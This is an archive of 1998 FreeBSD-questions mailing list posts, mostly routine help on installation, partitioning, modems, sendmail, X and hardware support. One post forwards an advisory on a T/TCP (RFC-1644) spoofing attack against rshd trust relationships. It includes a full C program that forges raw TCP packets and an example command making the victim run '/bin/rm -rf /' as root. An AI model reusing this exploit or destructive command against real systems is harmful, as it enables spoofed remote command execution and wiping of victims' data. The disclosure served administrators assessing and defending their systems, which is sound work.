Apr 1998 10:26:14 -0700 (PDT) Received: from sf-exch1.wfnia.com (sf-exch1.wfnia.com [10.1.0.27]) by comm_sf_01.wfnia.com (8.7.3/8.7.3) with ESMTP id KAA27556 for ; Tue, 7 Apr 1998 10:26:14 -0700 (PDT) Received: by sf-exch1.wfnia.com with Internet Mail Service (5.5.1960.3) id ; Tue, 7 Apr 1998 10:25:34 -0700 Message-ID: From: "Roman, Diana BGI SF" To: "'questions@freebsd.org'" Subject: FW: hmmm... Date: Tue, 7 Apr 1998 10:25:23 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.1960.3) Content-Type: text/plain Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi there. I wrote yesterday with some problems I was having in the install process, and I'm not giving my own partition sizes, I'm choosing A for it to automatically partition itself, as suggested below. I think I'm doing three separate things wrong: 1. In the full screen visual kernel configuration, I don't think I'm getting it to recognize my modem correctly. I have a 486 laptop with an IBM PCMCIA credit card adaptor modem. I delete all the conflicting devices, and add ze0 (the IBM/National Semiconductor PCMCIA Ethernet Adaptor) from the bottom list, and save changes. Then I get a screen which states whether the devices are found or not, but it scrolls past too quickly for me to see if it says 'ze0 - device not found' or something like that. Am I doing this correctly? 2. In the FreeBSD disklabel editor, after I hit 'A' for an automatic partition (I have no OS on this computer currently and want to devote the entire hard drive to BSD) and it prompts me for a 'mount point for the partition' I'm not sure what to enter here. I selected the option which made it possible to add additional OS's in the future; I don't know if that has something to do with it - but the partition it creates for BSD uses up the majority of the space, but there is a second 'chunk' left (another partition?) with a tiny bit of memory in it. What should I enter for the mount point? 3. When I try to install the developer kernel from the FTP site, I run into modem probs again. I get a message, "PPP command started on VTY3 blah blah", so I hit Alt-F3 and get the prompt, "ppp ON> Warning: Can't create /var/run/tun0.pid: No such file or directory." So I type "term" and it prompts me "Warning: Can't create /var/run/cuaa0.if: No such file or directory./Enter to terminal mode./Type '~?' for help." at which point I assume I would type "ATDT(my ISP's phone number), but the keyboard has frozen up and I have to soft reboot the machine. : ( Why does this happen and how do I avoid it? Help!! What am I doing wrong? : ( This is frusterating. > -----Original Message----- > From: Diana Roman [SMTP:dcr10@worldnet.att.net] > Sent: Tuesday, April 07, 1998 7:23 AM > To: diana.roman@bglobal.com > Subject: Fw: hmmm... > > > > ---------- > > From: Marco A. Barbosa S. > > To: dcr10@worldnet.att.net > > Subject: hmmm... > > Date: Monday, April 06, 1998 6:57 PM > > > > > > > > when you partition your disk... > > cant you give it a choice maybe.. another a, to > > make it hmmm... automatically partition the disk for you > > ? because... if you give your own partition sizes, you > > probably are going to have problems losing a tiny bit of > > space... > > > > > > -- > > > > ************************************* > > * Marco Antonio Barbosa Santoyo * > > * Facultad de Ciencias, U.A.B.C. * > > * Ensenada, Baja California, Mexico * > > ************************************* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 10:38:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA26610 for freebsd-questions-outgoing; Tue, 7 Apr 1998 10:38:18 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from granite.sentex.net (granite.sentex.ca [199.212.134.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA26444 for ; Tue, 7 Apr 1998 10:37:48 -0700 (PDT) (envelope-from mdtancsa@sentex.net) Received: (from mdtancsa@localhost) by granite.sentex.net (8.8.6/8.6.9) id NAA25812 for questions@freebsd.org; Tue, 7 Apr 1998 13:37:36 -0400 (EDT) From: Mike D Tancsa Message-Id: <199804071737.NAA25812@granite.sentex.net> Subject: RFC-1644 attack ? To: questions@FreeBSD.ORG Date: Tue, 7 Apr 1998 13:37:35 -0400 (EDT) X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG What would be the effect of doing a sysctl -w net.inet.tcp.rfc1644=0 Do I need to have this enabled ? If I disable it, what will it break ? ---Mike ----- Forwarded message from Vasim Valejev ----- Good news : SYN-flood attack with TTCP-packets will have null effects at most systems . But attacks on some tcp-services can be successful : Simple network : computer 'victim' and computer 'master' with link > 10 ms delay . Victim have '+master' in /etc/hosts.equiv and 'shell stream ... rshd' in /etc/inetd.conf . Both computers have t/tcp (rfc-1644) support . 1. Master does any t/tcp connections to victim . Victim's cache[master].cc sets to value > 0 . ... Time passed ... 2. Hacker runs command : hacker# 1644 master victim 514 '\0root\0root\0/bin/rm -rf /\0\0' Hacker's computer sends T/TCP packet (SYN+PUSH+data) to 'victim' with source address of 'master' . CC value in packet may be any > cache[master].cc (0xffffffff for example) . 3. Hacker's packet received and victim sends SYN+ACK packet to master . Preparing to run rshd with hacker's data ('rm -rf /' as root) . ... 10-50 ms passed ... 4. Victim's packet received and master sends RST packet . Too late , sorry ... FreeBSD version of 1644 (use ip addresses only) : /* 1644 by Vasim V. */ /* Please , don't use this program for any destructive targets ! */ #include #include #include #include #include #include #include #include #include #include #include #define NEED_NEWCC 0x01 #define NEED_FIN 0x02 #define NEED_PUSH 0x04 #define NEED_TSTAMP 0x08 struct fhdr { u_long saddr; u_long daddr; u_char zero; u_char protocol; u_short length; }; unsigned long cc = 0x7fffff00; u_short in_cksum(u_short *data,u_short length) { long value; u_short i; value = 0; for(i=0; i < (length >> 1); i++) value+=data[i]; if (length & 1) value+=*(((u_char *) data) + length - 1); value=(value & 65535) + (value >> 16); return(~value); } void sendpack(int sock, u_long saddr, u_long daddr, u_short port, u_char *data, int length, int options) { struct ip *mip; struct tcphdr *mtcp; struct fhdr *fhdr; int totlen; u_char buf[9000]; struct timeval tp; struct sockaddr_in sin; gettimeofday(&tp, NULL); srandom(tp.tv_usec); if (cc == 0) cc = tp.tv_sec; totlen = sizeof(struct ip) + sizeof(struct tcphdr); mtcp = (struct tcphdr *) (buf + sizeof(struct ip)); mtcp->th_sport = htons(512 + (random() % 512)); mtcp->th_dport = htons(port); mtcp->th_seq = htonl(random()); mtcp->th_ack = 0; mtcp->th_x2 = 0; mtcp->th_flags = TH_SYN; if (options & NEED_FIN) mtcp->th_flags |= TH_FIN; if (options & NEED_PUSH) mtcp->th_flags |= TH_PUSH; mtcp->th_win = htons(17244); mtcp->th_urp = 0; mtcp->th_sum = 0; buf[totlen++] = TCPOPT_MAXSEG; buf[totlen++] = TCPOLEN_MAXSEG; *((u_short *) &buf[totlen]) = htons(1460); totlen += sizeof(u_short); if (options & NEED_TSTAMP) { *((u_long *) &buf[totlen]) = htonl(TCPOPT_NOP << 24 | TCPOPT_WINDOW << 16 | TCPOLEN_WINDOW << 8); totlen += sizeof(u_long); *((u_long *) &buf[totlen]) = htonl(TCPOPT_TSTAMP_HDR); totlen += sizeof(u_long); *((u_long *) &buf[totlen]) = htonl(tp.tv_sec); totlen += sizeof(u_long); *((u_long *) &buf[totlen]) = 0; totlen += sizeof(u_long); } buf[totlen++] = TCPOPT_NOP; buf[totlen++] = TCPOPT_NOP; if (options & NEED_NEWCC) buf[totlen++] = TCPOPT_CCNEW; else buf[totlen++] = TCPOPT_CC; buf[totlen++] = TCPOLEN_CC; *((u_long *) &buf[totlen]) = htonl(cc); cc++; totlen += sizeof(u_long); mtcp->th_off = (totlen - sizeof(struct ip)) >> 2; if (data && length) memcpy(buf + totlen, data, length); fhdr = (struct fhdr *) (buf + sizeof(struct ip) - sizeof(struct fhdr)); fhdr->saddr = saddr; fhdr->daddr = daddr; fhdr->zero = 0; fhdr->protocol = IPPROTO_TCP; fhdr->length = htons(totlen - sizeof(struct ip) + length); mtcp->th_sum = in_cksum((u_short *) fhdr, totlen - sizeof(struct ip) + sizeof(struct fhdr) + length); mip = (struct ip *) buf; mip->ip_len = totlen + length; mip->ip_v = 4; mip->ip_hl = 5; mip->ip_tos = 0; mip->ip_id = htons(random() % 32768); mip->ip_off = IP_DF; mip->ip_ttl = 0x40; mip->ip_p = IPPROTO_TCP; mip->ip_sum = 0; mip->ip_src.s_addr = saddr; mip->ip_dst.s_addr = daddr; mip->ip_sum = in_cksum((u_short *) mip, sizeof(struct ip)); memset((void *) &sin, 0, sizeof(struct sockaddr_in)); sin.sin_family = AF_INET; sin.sin_addr.s_addr = daddr; sin.sin_port = htons(port); if (sendto(sock, buf, totlen + length, 0, (struct sockaddr *) &sin, sizeof(struct sockaddr_in)) < 0) perror("sendto"); } void main (int argc, char **argv) { u_long saddr; u_long daddr; int port; int sock; u_char buf[8192]; int len; int i; u_char *p; u_char c; if (argc != 5) { fprintf(stderr, "\n1644 by Vasim V.\n\nUsage: %s source destination port data\n", argv[0]); exit(1); } saddr = inet_addr(argv[1]); daddr = inet_addr(argv[2]); port = atoi(argv[3]); sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if (sock < 0) { perror("raw socket"); exit(2); } i = 1; setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)); p = buf; len = 0; for(i = 0; i < strlen(argv[4]); i++) { c = argv[4][i]; if (c == '\\') { i++; c = argv[4][i]; switch (c) { case '0': *p++ = '\0'; break; case 'r': *p++ = '\r'; break; case 'n': *p++ = '\n'; break; default: *p++ = c; break; } } else *p++ = c; len++; } sendpack(sock, saddr, daddr, port, buf, len, NEED_PUSH | NEED_TSTAMP); } Vasim V. (2:5011/27 http://members.tripod.com/~Vasim VV86-RIPE) ----- End of forwarded message from Vasim Valejev ----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 10:44:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA27894 for freebsd-questions-outgoing; Tue, 7 Apr 1998 10:44:26 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from wi.net (wi.net [204.95.193.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA27874 for ; Tue, 7 Apr 1998 10:44:09 -0700 (PDT) (envelope-from laufen@localhost) Received: from merlot.vineyard (204.95.193.46) by wi.net with SMTP (Eudora Internet Mail Server 2.1b5); Tue, 7 Apr 1998 12:43:57 -0600 Received: from localhost (derek@localhost) by merlot.vineyard (8.8.7/8.8.7) with SMTP id MAA00770 for ; Tue, 7 Apr 1998 12:47:24 -0500 (CDT) (envelope-from laufen@localhost) Date: Tue, 7 Apr 1998 12:47:23 -0500 (CDT) From: Derek Laufenberg X-Sender: derek@merlot.vineyard To: freebsd questions Subject: COBOL on FreeBSD - please don't laugh! Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Yes you read the subject right. (Stop smirking) I'm looking for a compiler/interpreter for that god forsaken language. Any suggestions? Thanks, derek ------------------------------------------------------------------ Derek Laufenberg Laufenberg Consulting laufen@wi.net Networking, DICOM To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 10:48:18 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA29020 for freebsd-questions-outgoing; Tue, 7 Apr 1998 10:48:18 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from wi.net (wi.net [204.95.193.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA28967 for ; Tue, 7 Apr 1998 10:48:06 -0700 (PDT) (envelope-from laufen@localhost) Received: from merlot.vineyard (204.95.193.46) by wi.net with SMTP (Eudora Internet Mail Server 2.1b5); Tue, 7 Apr 1998 12:48:03 -0600 Received: from localhost (derek@localhost) by merlot.vineyard (8.8.7/8.8.7) with SMTP id MAA00784 for ; Tue, 7 Apr 1998 12:51:30 -0500 (CDT) (envelope-from laufen@localhost) Date: Tue, 7 Apr 1998 12:51:30 -0500 (CDT) From: Derek Laufenberg X-Sender: derek@merlot.vineyard To: freebsd questions Subject: sendmail cores with service.switch Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG When I add a service.switch file for send mail to use NIS or hosts file for name lookup, sendmail gets a segmentation fault. I tried recompiling sendmail with NIS, no change. It did look like that was the normal compile flag though. I'm running 2.2.5 with no patches. Anyone else see this? Whats the fix? ------------------------------------------------------------------ Derek Laufenberg Laufenberg Consulting laufen@wi.net Networking, DICOM To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 10:53:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA01005 for freebsd-questions-outgoing; Tue, 7 Apr 1998 10:53:51 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from dc.seflin.org (d055633c@dc.seflin.org [199.227.192.38]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id KAA00896 for ; Tue, 7 Apr 1998 10:53:37 -0700 (PDT) (envelope-from d055633c@dc.seflin.org) Received: (from d055633c@localhost) by dc.seflin.org (8.6.12/8.6.12) id NAA14632; Tue, 7 Apr 1998 13:53:40 -0400 Date: Tue, 7 Apr 1998 13:53:40 -0400 (EDT) From: Robert Jackson Subject: Problem with laptop and X-windows To: freebsd-questions@FreeBSD.ORG Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, I'm using freeBSD 2.2.5-RELEASE with an Acma laptop (Pentium 100 32 Meg ram, 1 gig HDD. 800x600x64k max display) I'm trying to get X-windows (XFree86 3.3.2)configured correctly. I have the display parameters (refresh rates, dot clock, syncs and such) to the point where I can load and use X no problem. The problem comes up when I exit. It doesn't seem to want to switch back to text mode. I just get a blank screen. Similar to what happened before I had the display setup for X correctly. Has anyone had this problem with a laptop? tech support at Acma seems kinda dense when it comes to this... Robert Jackson d055633c@dc.seflin.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 11:08:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA03208 for freebsd-questions-outgoing; Tue, 7 Apr 1998 11:08:51 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA03194 for ; Tue, 7 Apr 1998 11:08:25 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id LAA26679; Tue, 7 Apr 1998 11:07:58 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 11:07:57 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Ing. Rafael Harari Turquie" cc: freebsd-questions@FreeBSD.ORG Subject: Re: your mail In-Reply-To: <01bd6034$3facd860$e14e21c8@default> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 4 Apr 1998, Ing. Rafael Harari Turquie wrote: > I am new in FreeBsd, I like it very much !.. But I need URGENT HELP !! > I have already one hard drive. I installed another one !! > HOW CAN I MAKE IT WORKS !! > I have a Quantum Atlas II 9.1 Gig > All the sectors and information are on http://www.quantum.com/products/hdd/atlas_II/q_at_sp.html > I try to use disk label but i dont know how it work !! Don't worry about the geometry and use the (A)uto defaults. See http://www.freebsd.org/handbook/ for help. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 11:10:32 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA03566 for freebsd-questions-outgoing; Tue, 7 Apr 1998 11:10:32 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA03342 for ; Tue, 7 Apr 1998 11:09:25 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id LAA26683; Tue, 7 Apr 1998 11:09:22 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 11:09:22 -0700 (PDT) From: Doug White Reply-To: Doug White To: Jahan cc: "freebsd-questions@FreeBSD.ORG" Subject: Re: XForm and my not answered problem In-Reply-To: <35285FC9.EAD87A7A@pc.jaring.my> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Jahan wrote: > XForm and pkg is not uptodate in MD5 and pathes, hence causes problem in > installing. Who to blame ? pkg /XForm ? If ports don't work, contact ports@freebsd.org or the maintainer listed in the port Makefile. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 11:13:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA04297 for freebsd-questions-outgoing; Tue, 7 Apr 1998 11:13:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA04289 for ; Tue, 7 Apr 1998 11:12:56 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id LAA26690; Tue, 7 Apr 1998 11:12:54 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 11:12:54 -0700 (PDT) From: Doug White Reply-To: Doug White To: Dave Marquardt cc: freebsd-questions@FreeBSD.ORG Subject: Re: Modems. In-Reply-To: <85lnthdcbq.fsf@localhost.zilker.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 7 Apr 1998, Dave Marquardt wrote: > The FAQs and handbook are a little sparse on PnP, unfortunately. 2.2.6 was the first release with PnP. If there are gotcha's by all means let us know so we can put them somewhere, even if the only place we have is my brain. :) Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 11:13:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA04344 for freebsd-questions-outgoing; Tue, 7 Apr 1998 11:13:04 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from horton.iaces.com (horton.iaces.com [204.147.87.98]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA04292 for ; Tue, 7 Apr 1998 11:12:59 -0700 (PDT) (envelope-from proot@horton.iaces.com) Received: (from proot@localhost) by horton.iaces.com (8.8.7/8.8.7) id NAA06303; Tue, 7 Apr 1998 13:11:47 -0500 (CDT) From: "Paul T. Root" Message-Id: <199804071811.NAA06303@horton.iaces.com> Subject: Re: FW: hmmm... To: Diana.Roman@bglobal.com (Roman, Diana BGI SF) Date: Tue, 7 Apr 1998 13:11:46 -0500 (CDT) Cc: questions@FreeBSD.ORG In-Reply-To: from "Roman, Diana BGI SF" at "Apr 7, 98 10:25:23 am" X-Organization: USWEST !nterprise Networking - ACES X-Phone: (612) 664-3385 X-Fax: (612) 664-4779 X-Page: (800) SKY-PAGE PIN: 537-7270 X-Address: 600 Stinson Blvd, Fl 1S X-Address: Minneapolis, MN 55413 X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In a previous message, Roman, Diana BGI SF said: > Hi there. I wrote yesterday with some problems I was having in the > install process, and I'm not giving my own partition sizes, I'm choosing > A for it to automatically partition itself, as suggested below. > > I think I'm doing three separate things wrong: > 1. In the full screen visual kernel configuration, I don't think I'm > getting it to recognize my modem correctly. I have a 486 laptop with an > IBM PCMCIA credit card adaptor modem. I delete all the conflicting > devices, and add ze0 (the IBM/National Semiconductor PCMCIA Ethernet > Adaptor) from the bottom list, and save changes. Then I get a screen > which states whether the devices are found or not, but it scrolls past > too quickly for me to see if it says 'ze0 - device not found' or > something like that. Am I doing this correctly? The ze0 is ethernet driver not modem. > 2. In the FreeBSD disklabel editor, after I hit 'A' for an automatic > partition (I have no OS on this computer currently and want to devote > the entire hard drive to BSD) and it prompts me for a 'mount point for > the partition' I'm not sure what to enter here. I selected the option > which made it possible to add additional OS's in the future; I don't > know if that has something to do with it - but the partition it creates > for BSD uses up the majority of the space, but there is a second 'chunk' > left (another partition?) with a tiny bit of memory in it. What should I > enter for the mount point? Your description is of fdisk not disklabel. Or a combination of the two. For fdisk, when you take then entire disk for FreeBSD, you get asked whether or not to be dangerously dedicated or remain compatible. Remaining compatible allows other OS's (on another disk) to see what the partitionj is. Remaining compatible also helps when you have geometry problems with the disk. For instance, I was able to install FreeBSD on the entire disk of a Syquest SyJet Removable SCSI drive, by staying compatible but not dangerously dedicated. The little space at the end is used for bios or MBR or something. I'm pretty certain (though I haven't tried just now) that when disklabel is told to do automatic, it puts the mount points in by itself. As a guide you need a minimum of 2 partitions / and swap. / goes in a and swap goes in b. The c partition is the entire disk, don't touch it. From there, you might want a /usr partition (I think FreeBSD generally uses f for this, it doesn't really matter). I like to have a /var and put it on e. You might also want a /home or a /usr/local or a /usr/X11R6. It's pretty much all personal preference. Many people do just the 2 partition / and swap. That's fine, especially since backup tapes can hold multiple giga-bytes now. I used to do the just / partition, but when you have a disk problem, your whole disk is a problem, not just one section. > 3. When I try to install the developer kernel from the FTP site, I run > into modem probs again. I get a message, "PPP command started on VTY3 > blah blah", so I hit Alt-F3 and get the prompt, "ppp ON> Warning: Can't > create /var/run/tun0.pid: No such file or directory." So I type "term" > and it prompts me "Warning: Can't create /var/run/cuaa0.if: No such file > or directory./Enter to terminal mode./Type '~?' for help." at which > point I assume I would type "ATDT(my ISP's phone number), but the > keyboard has frozen up and I have to soft reboot the machine. : ( Why > does this happen and how do I avoid it? You need to set what port your modem is on before going into terminal mode. (And the machine needs to see the modem port). > Help!! What am I doing wrong? : ( This is frusterating. > > > -----Original Message----- > > From: Diana Roman [SMTP:dcr10@worldnet.att.net] > > Sent: Tuesday, April 07, 1998 7:23 AM > > To: diana.roman@bglobal.com > > Subject: Fw: hmmm... > > > > > > > > ---------- > > > From: Marco A. Barbosa S. > > > To: dcr10@worldnet.att.net > > > Subject: hmmm... > > > Date: Monday, April 06, 1998 6:57 PM > > > > > > > > > > > > when you partition your disk... > > > cant you give it a choice maybe.. another a, to > > > make it hmmm... automatically partition the disk for you > > > ? because... if you give your own partition sizes, you > > > probably are going to have problems losing a tiny bit of > > > space... > > > > > > > > > -- > > > > > > ************************************* > > > * Marco Antonio Barbosa Santoyo * > > > * Facultad de Ciencias, U.A.B.C. * > > > * Ensenada, Baja California, Mexico * > > > ************************************* > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > -- I'm the player to be named later. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 11:17:01 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA05568 for freebsd-questions-outgoing; Tue, 7 Apr 1998 11:17:01 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA05561 for ; Tue, 7 Apr 1998 11:16:52 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id LAA26697; Tue, 7 Apr 1998 11:16:48 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 11:16:48 -0700 (PDT) From: Doug White Reply-To: Doug White To: "Scott M. DePalma" cc: freebsd-questions@FreeBSD.ORG Subject: Re: Filespace allocation In-Reply-To: <3.0.32.19980406163208.006bbac8@sirus.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 6 Apr 1998, Scott M. DePalma wrote: > I have installed fbsd 2.2.5 from floppies on my old 386. The master drive is > 200 MB with a small DOS partition and the rest partitioned for fbsd. The > second drive is 540 MB with a single fbsd partition. Ok. > In allocating space on the small drive, I used the automatic setting so that > the system established the size of /, /var and swap. The rest (89 MB) was > assigned to /usr. But as such I can't assign /usr to the larger drive. Or, > if I do, the smaller drive is left with 89 MB of unused space. The install program doesn't support splitting the partitions across disks. Your best bet here is to move /usr to the new disk then modify /etc/fstab to mount the second disk as /usr after installing. You also might install without a separate /var partition since the auto config will give you a pretty puny one. Reallocate the space to / instead. On my 500MB disk I just used the Greg Lehey-patented `monolithic filesystem' method -- some swap and one giant root. Doug White | University of Oregon Internet: dwhite@resnet.uoregon.edu | Residence Networking Assistant http://gladstone.uoregon.edu/~dwhite | Computer Science Major To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 11:18:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA06046 for freebsd-questions-outgoing; Tue, 7 Apr 1998 11:18:41 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from horton.iaces.com (horton.iaces.com [204.147.87.98]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA05956 for ; Tue, 7 Apr 1998 11:18:23 -0700 (PDT) (envelope-from proot@horton.iaces.com) Received: (from proot@localhost) by horton.iaces.com (8.8.7/8.8.7) id NAA06337; Tue, 7 Apr 1998 13:16:29 -0500 (CDT) From: "Paul T. Root" Message-Id: <199804071816.NAA06337@horton.iaces.com> Subject: Re: pcmcia scsi adaptors To: thompson@squirrel.tgsoft.com (mark thompson) Date: Tue, 7 Apr 1998 13:16:29 -0500 (CDT) Cc: questions@FreeBSD.ORG In-Reply-To: <19980407163645.4262.qmail@squirrel.tgsoft.com> from mark thompson at "Apr 7, 98 04:36:45 pm" X-Organization: USWEST !nterprise Networking - ACES X-Phone: (612) 664-3385 X-Fax: (612) 664-4779 X-Page: (800) SKY-PAGE PIN: 537-7270 X-Address: 600 Stinson Blvd, Fl 1S X-Address: Minneapolis, MN 55413 X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In a previous message, mark thompson said: > A cursory search of the web site -- NB: jkh, how about an obvious > place on the web page to find out what HARDWARE is supported? -- fails > to turn up any mention of pcmcia SCSI cards. > > I am considering the 1450 and 1460. Do they work with -STABLE, how about > with the PAO kit? > > -mark I'm told the 1460 is supported in 2.2.6-RELEASE, so -STABLE should work. I'm going to try it this afternoon. -- Consciousness: that annoying time between naps. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 11:19:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA06474 for freebsd-questions-outgoing; Tue, 7 Apr 1998 11:19:37 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gdi.uoregon.edu (gdi.uoregon.edu [128.223.170.30]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA06463 for ; Tue, 7 Apr 1998 11:19:28 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Received: from localhost (dwhite@localhost) by gdi.uoregon.edu (8.8.7/8.8.8) with SMTP id LAA26701; Tue, 7 Apr 1998 11:19:26 -0700 (PDT) (envelope-from dwhite@gdi.uoregon.edu) Date: Tue, 7 Apr 1998 11:19:26 -0700 (PDT) From: Doug White Reply-To: Doug White To: Randall Hopper cc: questions@FreeBSD.ORG Subject: Re: 2.2 printcap entry -- a no-go on 3.0 In-Reply-To: <19980406175431.21016@ct.picker.com> Message-ID: MIME-Version: 1.0 